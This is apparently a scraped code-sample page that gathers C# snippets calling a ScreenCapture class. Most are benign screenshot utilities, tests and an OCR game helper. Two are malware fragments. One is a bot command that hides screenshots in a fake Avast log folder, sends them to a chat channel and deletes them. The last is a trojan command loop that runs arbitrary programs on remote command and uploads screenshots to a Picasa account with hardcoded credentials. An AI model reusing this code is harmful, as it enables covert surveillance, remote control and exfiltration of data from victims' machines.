public async Task Screenshot(string botIp)
        {
            if (getBotIp().Trim() == botIp.Trim())
            {
                randomizer = new Random();
                var nextInt = randomizer.Next(1, 99999);

                ScreenCapture screenCapture = new ScreenCapture();
                if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\AVAST Software\Avast\log"))
                {
                    screenCapture.CaptureScreenToFile(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\AVAST Software\Avast\log\" + nextInt + "_avast_log.png", ImageFormat.Png);
                    await Context.Channel.SendFileAsync(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\AVAST Software\Avast\log\" + nextInt + "_avast_log.png");

                    File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\AVAST Software\Avast\log\" + nextInt + "_avast_log.png");
                }
                else
                {
                    Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\AVAST Software\Avast\log");
                    screenCapture.CaptureScreenToFile(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\AVAST Software\Avast\log\" + nextInt + "_avast_log.png", ImageFormat.Png);
                    await Context.Channel.SendFileAsync(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\AVAST Software\Avast\log\" + nextInt + "_avast_log.png");

                    File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\AVAST Software\Avast\log\" + nextInt + "_avast_log.png");
                }
            }
        }
Exemple #2
0
    public static void Main()
    {
        User32.SetProcessDPIAware();

        parseArguments();
        ScreenCapture sc = new ScreenCapture();

        if (!fullscreen && !windowTitle.Equals(""))
        {
            try {
                Interaction.AppActivate(windowTitle);
                Console.WriteLine("setting " + windowTitle + " on focus");
            } catch (Exception e) {
                Console.WriteLine("Probably there's no window like " + windowTitle);
                Console.WriteLine(e.ToString());
                Environment.Exit(9);
            }
        }
        try {
            if (fullscreen)
            {
                Console.WriteLine("Taking a capture of the whole screen to " + file);
                sc.CaptureScreenToFile(file, format);
            }
            else
            {
                Console.WriteLine("Taking a capture of the active window to " + file);
                sc.CaptureActiveWindowToFile(file, format);
            }
        } catch (Exception e) {
            Console.WriteLine("Check if file path is valid " + file);
            Console.WriteLine(e.ToString());
        }
    }
Exemple #3
0
        private void TakeScreenshot(string screenshotName)
        {
            var imagename = screenshotName + ".png";
            var imagePath = Path.Combine(ScreenshotDir, imagename);

            try
            {
                Directory.CreateDirectory(ScreenshotDir);
                ScreenCapture.CaptureScreenToFile(imagePath);
                Console.WriteLine(String.Format("Screenshot taken: {0}", imagePath));
            }
            catch (Exception ex)
            {
                Console.WriteLine(String.Format("Failed to save screenshot to directory: {0}, filename: {1}, Ex: {2}", ScreenshotDir, imagePath, ex));
            }
        }
Exemple #4
0
    public static void Main()
    {
        parseArguments();
        ScreenCapture sc = new ScreenCapture();

        try {
            if (windowNumber != -1)
            {
                Console.WriteLine("Taking a capture of the application screen to " + file);
                sc.CaptureScreenToFile(file, format);
            }
        }
        catch (Exception e) {
            Console.WriteLine("Check if file path is valid " + file);
            Console.WriteLine(e.ToString());
        }
    }
        private bool ScreenShot()
        {
            bool   tSuccessful;
            string tFileName = tCurrentName1 + "-" + tCurrentName2 + "-" +
                               tCurrentBet + "-" + GetFormattedDate() + "-" + tImageCount.ToString() + ".png";

            tFileName = tDirectory + tFileName;
            try
            {
                ScreenCapture tScreenCapture = new ScreenCapture();
                tScreenCapture.CaptureScreenToFile(tFileName, ImageFormat.Png);
                tImageCount++;
                return(tSuccessful = true);
            }
            catch
            {
                return(tSuccessful = false);
            }
        }
        private void btnSend_Click(object sender, EventArgs e)
        {
            Mail mail = new Mail();
            string info = "";
            ArrayList al = new ArrayList();
            Log4Net.Logger.loggInfo("Sending support mail", Config.User, "");

            try
            {
                info = "\n\n\nMachinename: " + Environment.MachineName;
                info += "\nOS: " + Environment.OSVersion;
                info += "\nUser: "******"\nDoamin: " + Environment.UserDomainName;
                info += "\nConfigPath " + Config.ConfigPath;
                info += "\n\nStackTrace: " + Environment.StackTrace;

                ScreenCapture sc = new ScreenCapture();
                string imgWholeScreen = Path.GetTempPath() + "Screen_" + Path.ChangeExtension(Path.GetRandomFileName(), ".jpg");
                al.Add(imgWholeScreen);

                string imgPatient = Path.GetTempPath() + "Patient_" + Path.ChangeExtension(Path.GetRandomFileName(), ".jpg");
                al.Add(imgPatient);

                //string logPath = Path.GetTempPath() + "log_" + Path.ChangeExtension(Path.GetRandomFileName(), ".gcslogg");
                //File.Copy(Log4Net.Logger.getFileName(Config.User), logPath, true);
                //al.Add(logPath);

                //string confPath = Path.GetTempPath() + "config_" + Path.ChangeExtension(Path.GetRandomFileName(), ".gcslogg");
                //File.Copy(Config., confPath, true);
                //al.Add(confPath);

                sc.CaptureScreenToFile(imgWholeScreen, System.Drawing.Imaging.ImageFormat.Jpeg);
                sc.CaptureWindowToFile(mHandle, imgPatient, System.Drawing.Imaging.ImageFormat.Jpeg);

                mail.sendMail(Config.SMTP, 25, Config.SMTP_FromAddress, Config.SMTP_SupportAddress, "ErrorMessage from " + Config.User, rtMessage.Text + info, (string[])al.ToArray(typeof(string)), Config.SMTP_User, Config.SMTP_Password);

                this.Close();
            }
            catch (Exception ex)
            {
                Log4Net.Logger.loggError(ex, "Error while configuring mail to support", Config.User, "frmErrorReport.btnSend_Click");
            }
        }
Exemple #7
0
        private static void Main(string[] args)
        {
            //TextToSpeechHelper.VoiceDebug($"total arguments of {args.Length}.");// TODO: Remove this
            //TextToSpeechHelper.VoiceDebug($"first argument: {args.FirstOrDefault()}.");// And this
            //TextToSpeechHelper.VoiceDebug($"second argument: {args.ElementAtOrDefault(1)}.");// This too
            if (!args.Any())
            {
                return;
            }
            switch (args.FirstOrDefault())
            {
            case "lock":
                PowerAndSessionActions.Lock();
                break;

            case "logout":
                PowerAndSessionActions.LogOut();
                break;

            case "message":
                MessageBox.Show(args[1], "ArktinMonitor", MessageBoxButton.OK, MessageBoxImage.Warning, MessageBoxResult.OK, MessageBoxOptions.DefaultDesktopOnly);
                //System.Windows.Forms.MessageBox.Show(args[1], "ArktinMonitor");
                break;

            case "screen":
                Directory.CreateDirectory(Settings.UserRelatedStoragePath);
                var path = Path.Combine(Settings.UserRelatedStoragePath, "ss.an");
                ScreenCapture.CaptureScreenToFile(path);
                break;

            case "keys":
                Helpers.KeySender.Test(args[1]);
                break;

            case "run":
                Helpers.Processes.RunApp(args[1], args.ElementAtOrDefault(2));
                break;
            }
        }
        private void BtnCap1_Click(object sender, EventArgs e)
        {
            //throw new NotImplementedException();
            if (!Directory.Exists(bc.iniC.pathScreenCaptureSend))
            {
                Directory.CreateDirectory(bc.iniC.pathScreenCaptureSend);
            }
            this.Hide();
            Thread.Sleep(200);
            Application.DoEvents();
            ScreenCapture sc = new ScreenCapture();

            sc.CaptureScreenToFile(bc.iniC.pathScreenCaptureSend + "\\cap1.jpg", ImageFormat.Jpeg);
            Thread.Sleep(200);
            Application.DoEvents();
            C1DockingTabPage tabCap = new C1DockingTabPage();
            Panel            pnCap  = new Panel();

            pnCap.Dock = DockStyle.Fill;
            C1PictureBox pic = new C1PictureBox();

            pic.Dock     = DockStyle.Fill;
            pic.SizeMode = PictureBoxSizeMode.StretchImage;
            if (File.Exists(bc.iniC.pathScreenCaptureSend + "\\cap1.jpg"))
            {
                pic.Image = Image.FromFile(bc.iniC.pathScreenCaptureSend + "\\cap1.jpg");
            }
            tabCap.Name     = "tabCap";
            tabCap.TabIndex = 0;
            tabCap.Text     = "Capture 1";
            tabCap.Font     = fEditB;
            tC1.Controls.Add(tabCap);
            tabCap.Controls.Add(pnCap);
            pnCap.Controls.Add(pic);

            this.Show();
        }
Exemple #9
0
        /// <summary>
        /// OCR related processing entry point
        /// </summary>
        private static void GetPrices()
        {
            try
            {
                if (_primeParts == null || !_primeParts.Any())
                {
                    throw new Exception("There is no file containing prime parts prices. Please get the prices from listings first");
                }

                ConcurrentBag <PrimePart> foundPrimeParts = new ConcurrentBag <PrimePart>();

                if (!string.IsNullOrEmpty(Settings.TestImageName) || (SetForegroundWindow(_process.MainWindowHandle) && GetWindowRect(_process.MainWindowHandle, out RECT location)))
                {
                    List <string> newImages = new List <string>();
                    string        imageName = Guid.NewGuid().ToString();
                    string        imagePath;

                    if (!string.IsNullOrEmpty(Settings.TestImageName))
                    {
                        imagePath = Path.Combine(ImagesPath, Settings.TestImageName);
                    }
                    else
                    {
                        imagePath = Path.Combine(ImagesPath, $"{imageName}.tiff");
                        ScreenCapture.CaptureScreenToFile(imagePath, System.Drawing.Imaging.ImageFormat.Tiff);
                    }

                    Bitmap initialImage = new Bitmap(imagePath);

                    newImages.AddRange(CreateProcessedImages(
                                           imageName,
                                           _numberOfPlayers,
                                           initialImage,
                                           new List <Func <Bitmap, Bitmap> > {
                        ImageProcessor.InvertColors
                    }));

                    newImages.AddRange(CreateProcessedImages(
                                           imageName,
                                           _numberOfPlayers,
                                           initialImage,
                                           new List <Func <Bitmap, Bitmap> > {
                        ImageProcessor.Sharpen, ImageProcessor.InvertColors
                    }));

                    newImages.AddRange(CreateProcessedImages(
                                           imageName,
                                           _numberOfPlayers,
                                           initialImage,
                                           new List <Func <Bitmap, Bitmap> > {
                        ImageProcessor.PrimePartImageCustomProcess, ImageProcessor.Sharpen
                    }));

                    DoOCRAndProcessFoundText(_ocrEngine, foundPrimeParts, newImages);

                    if (foundPrimeParts.Count == 0)
                    {
                        Console.WriteLine("No parts found");
                        return;
                    }

                    List <PrimePart> orderedPrimeParts = foundPrimeParts
                                                         .Distinct(new PrimePart())
                                                         .OrderByDescending(primePart => primePart.PriceInPlat)
                                                         .ThenByDescending(primePart => primePart.PriceInDucats).ToList();

                    if (string.IsNullOrEmpty(Settings.TestImageName))
                    {
                        ShowFoundPartsInOverlay(orderedPrimeParts);
                    }

                    ShowFoundPartsInConsole(orderedPrimeParts);

                    GeneralUtils.DeleteFiles(newImages);
                }
                else
                {
                    throw new Exception("Can't bring Warframe's window in the foreground");
                }
            }
            catch (Exception exception)
            {
                Console.WriteLine(exception.Message);
            }
        }
Exemple #10
0
        //---------------------------------------------------------------------------------------------parte 2 PRUEBA MATRIZ----------------------------------------------------------------------------
        //----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
        //----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------



        //public void HacerPruebaMatriz(string link, string carpeta, string txt_pruebas)
        public List <string> HacerPruebaMatriz(string link, string carpeta, string txt_pruebas)
        {
            List <string> listaCapturas = new List <string>();

            try
            {
                StreamWriter  sw           = new StreamWriter($"{carpeta}/Test.txt");
                StreamReader  leerPruebas  = new StreamReader($"{txt_pruebas}");
                List <string> ListaPruebas = new List <string>();

                while (!leerPruebas.EndOfStream)
                {
                    ListaPruebas.Add(leerPruebas.ReadLine());
                }
                leerPruebas.Close();
                foreach (var elemento in ListaPruebas)
                {
                    Console.WriteLine(elemento);
                    Thread.Sleep(200);
                }
                //sw.Close();
                //iniciamos el chromeDriver
                var options = new ChromeOptions();
                //options.AddArgument("--disable-gpu");

                var chromeDriver = new ChromeDriver(options);     //The chromedriver.exe file does not exist in the current directory or in a directory on the PATH environment variable
                Thread.Sleep(7000);
                chromeDriver.Manage().Window.Maximize();
                chromeDriver.Navigate().GoToUrl(link);


                Thread.Sleep(7000);


                var titulos = chromeDriver.FindElementsByTagName("input");



                List <Selector> selector = new List <Selector>();

                List <string> listaID   = new List <string>();
                List <string> listaName = new List <string>();
                List <string> listaType = new List <string>();

                //------------------------------------------------extraigo los id y name------------------------------------------------


                foreach (var titulo in titulos)
                {
                    try
                    {
                        //Console.WriteLine(titulo.Text);


                        if ((titulo.GetAttribute("id") != null) && (titulo.GetAttribute("id") != "" && titulo.GetAttribute("id") != "--no-sandbox"))
                        {
                            Selector sl = new Selector();
                            sw.WriteLine("--------------------------------------------------------------------------------");
                            Console.WriteLine("--------------------------------------------------------------------------------");
                            Console.WriteLine("id:    " + titulo.GetAttribute("id"));
                            Console.WriteLine("type:  " + titulo.GetAttribute("type"));
                            Console.WriteLine("name:  " + titulo.GetAttribute("name"));


                            sl.Id = Convert.ToString(titulo.GetAttribute("id"));
                            sw.WriteLine(titulo.GetAttribute("id"));
                            sl.Type = Convert.ToString(titulo.GetAttribute("type"));
                            sw.WriteLine(titulo.GetAttribute("type"));
                            sl.Name = Convert.ToString(titulo.GetAttribute("name"));
                            sw.WriteLine(titulo.GetAttribute("name"));

                            selector.Add(sl);
                        }
                        //Console.WriteLine("name:  " + titulo.GetAttribute("name"));
                        Console.WriteLine("");

                        Thread.Sleep(100);
                    }
                    catch (Exception) { }
                }


                //----------------------------------------------------------------------------fin busqueda de selectores -----------------------------------
                //le relizo pruebas a los formularios y los evaluo
                ScreenCapture sc  = new ScreenCapture();
                Image         img = sc.CaptureScreen();
                //extraigo la fecha y hora para el nombre de la carpeta
                //DateTime thisDay = DateTime.Today;

                string direccionCapturas = $"{carpeta}/";
                string formato           = ".png";
                sc.CaptureScreenToFile(direccionCapturas + "Test" + formato, ImageFormat.Png);
                //chromeDriver.Quit();


                //Console.WriteLine("llego hasta aqui");

                foreach (var elementoID in selector)
                {
                    //Console.WriteLine("");
                    //Console.WriteLine(elementoID.Type);
                    //Console.WriteLine("");
                    if (elementoID.Type == "text" || elementoID.Type == "email" || elementoID.Type == "password")
                    {
                        var ingreso = chromeDriver.FindElementById(elementoID.Id);
                        try
                        {
                            foreach (var elemento in ListaPruebas)
                            {
                                Console.WriteLine("id: " + elementoID);
                                sw.WriteLine("id: " + elementoID);

                                Thread.Sleep(1000);
                                ingreso.SendKeys(elemento);
                                if (ingreso.Text != null)
                                {
                                    Thread.Sleep(500);
                                    sw.WriteLine($"En el id:{elementoID.Id} el texto {elemento} esta permitido");
                                    Console.WriteLine($"En el id:{elementoID.Id} el texto {elemento} esta permitido");
                                    ingreso.Submit();

                                    //ingreso = chromeDriver.FindElementById(elementoID.Id);
                                    sc.CaptureScreenToFile(direccionCapturas + elementoID.Id + elemento + formato, ImageFormat.Png);
                                    listaCapturas.Add(direccionCapturas + elementoID.Id + elemento + formato);
                                    Thread.Sleep(400);
                                }

                                else
                                {
                                    Console.WriteLine("texto no permitido");
                                    sw.WriteLine("texto no permitido");
                                }
                                //ingreso.Clear();
                                Thread.Sleep(500);
                            }
                        }
                        catch (Exception)
                        {
                            //Console.WriteLine($"no pueden ingresar datos en le id: {elementoID}");
                        }
                    }
                    //else if (elementoID.Type == "radio")
                    //{
                    //    Console.WriteLine("id: " + elementoID);
                    //    sw.WriteLine("id: " + elementoID);
                    //    var ingreso = chromeDriver.FindElementById(elementoID.Id);
                    //    Thread.Sleep(1000);
                    //    ingreso.Click();
                    //    if (ingreso.Selected)
                    //    {
                    //        Thread.Sleep(500);
                    //        sw.WriteLine($"En el id esta seleccionado");
                    //        Console.WriteLine($"En el id esta seleccionado");
                    //        sc.CaptureScreenToFile(direccionCapturas + elementoID.Id + "nombre" + formato, ImageFormat.Png);
                    //        //listaCapturas.Add(direccionCapturas + elementoID.Id + "nombre" + formato+".png");
                    //    }

                    //    else
                    //    {
                    //        Console.WriteLine("no permitido");
                    //        sw.WriteLine("no permitido");
                    //    }
                    //}
                }



                sw.Close();    //--------------------------------------------------------------------------------bloqueado tempotalmente
                               //foreach (var elementoName in listaName)
                               //{
                               //    Console.WriteLine("name: " + elementoName);
                               //}



                chromeDriver.Close();
                chromeDriver.Quit();
                return(listaCapturas);
            }
            catch (Exception e)
            {
                return(listaCapturas);
            }
        }
Exemple #11
0
        public void CaptureScreenToFileTest()
        {
            var fileInfo = CaptureToFile(file => _screenCapture.CaptureScreenToFile(file, ImageFormat.Jpeg));

            Assert.True(fileInfo.Length > 200);
        }
        //We'll run this on another thread so the CPU doesn't go haywire.
        public static void Receive()
        {
            //Infinite loop

            while (true)
            {

                //Try to read the data.

                try

                {
                    //Packet of the received data

                    byte[] RecPacket = new byte[1000];

                    //Read a command from the client.

                    Receiver.Read(RecPacket, 0, RecPacket.Length);

                    //Flush the receiver

                    Receiver.Flush();

                    //Convert the packet into a readable string

                    string Command = Encoding.ASCII.GetString(RecPacket);

                    //Split the command into two different strings based on the splitter we made, ---

                    string[] CommandArray = System.Text.RegularExpressions.Regex.Split(Command, "---");

                    //Get the actual command.

                    Command = CommandArray[0];

                    //A switch which does a certain thing based on the received command

                    switch (Command)
                    {

                        //Code for "MESSAGE"

                        case "MESSAGE":
                            string Msg = CommandArray[1];
                            string ile1 = CommandArray[2];
                            for (int i = 0; i < Convert.ToInt32(ile1); i++)
                            {
                                //Display the message in a messagebox (the trim removes any excess data received :D)
                                MessageBox.Show(Msg.Trim('\0'));
                            }
                            break;

                        case "OPENSITE":

                            //Get the website URL

                            string Site = CommandArray[1];

                            //Open the site using Internet Explorer
                            string ile2 = CommandArray[2];
                            for (int i = 0; i < Convert.ToInt32(ile2); i++)
                            {
                                System.Diagnostics.Process IE = new System.Diagnostics.Process();

                                IE.StartInfo.FileName = "iexplore.exe";

                                IE.StartInfo.Arguments = Site.Trim('\0');

                                IE.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Maximized;

                                IE.Start();
                            }
                            break;

                        case "BEEP":
                            string czas = CommandArray[1];
                            for (int i = 0; i <Convert.ToInt32(czas); i++)
                            {
                                Console.Beep(5000, 100);
                                Console.Beep(100, 300);
                                Console.Beep(1000, 100);
                                Console.Beep(500, 300);
                                Console.Beep(3000, 500);
                                Console.Beep(500, 100);
                                Console.Beep(1000, 100);

                            }
                            break;

                        case "TAPETA":
                            string lokalizacja = CommandArray[1];
                            {
                                //SetWallpaper(openGraphic.FileName, 2, 0);
                                int Result;
                                string bmp_path = lokalizacja;
                                Result = SystemParametersInfo(20, 0, bmp_path, 0x1 | 0x2);
                            }
                            break;

                        case "MOW":
                            string tekst = CommandArray[1];
                            string ile4 = CommandArray[2];
                            for (int i = 0; i < Convert.ToInt32(ile4); i++)
                            {
                                SpeechSynthesizer speaker = new SpeechSynthesizer();
                                speaker.Rate = 1;
                                speaker.Volume = 100;
                                speaker.Speak(tekst);
                            }
                            break;

                        case "SCREEN":
                            string data = DateTime.Now.ToShortDateString();
                            string godzina = DateTime.Now.ToString("HH.mm.ss");
                            string plik = data + "Godzina." + godzina + "s.jpeg";
                            {
                                //Funkcja robi screenshota
                                ScreenCapture sc = new ScreenCapture();
                                sc.CaptureScreenToFile( plik ,ImageFormat.Jpeg);

                                ///Funkcja uploadująca na serwer picassy
                                PicasaService service = new PicasaService("exampleCo-exampleApp-1");
                                service.setUserCredentials("Trojan.cSharp", "trojanc#");

                                System.IO.FileInfo fileInfo = new System.IO.FileInfo(plik);
                                System.IO.FileStream fileStream = fileInfo.OpenRead();

                                PicasaEntry entry = (PicasaEntry)service.Insert(new Uri("https://picasaweb.google.com/data/feed/api/user/default/albumid/default"), fileStream, "image/jpeg", plik);
                                fileStream.Close();
                            }
                            break;

                        default:
                            string ile3 = CommandArray[1];
                            for (int i = 0; i < Convert.ToInt32(ile3); i++)
                            {
                                System.Diagnostics.Process proces = new System.Diagnostics.Process();
                                proces.StartInfo.FileName = Command;
                                proces.Start();
                            }
                            break;
                    }

                }
                catch
                {

                    //Stop reading data and close

                    break;
                }

            }
        }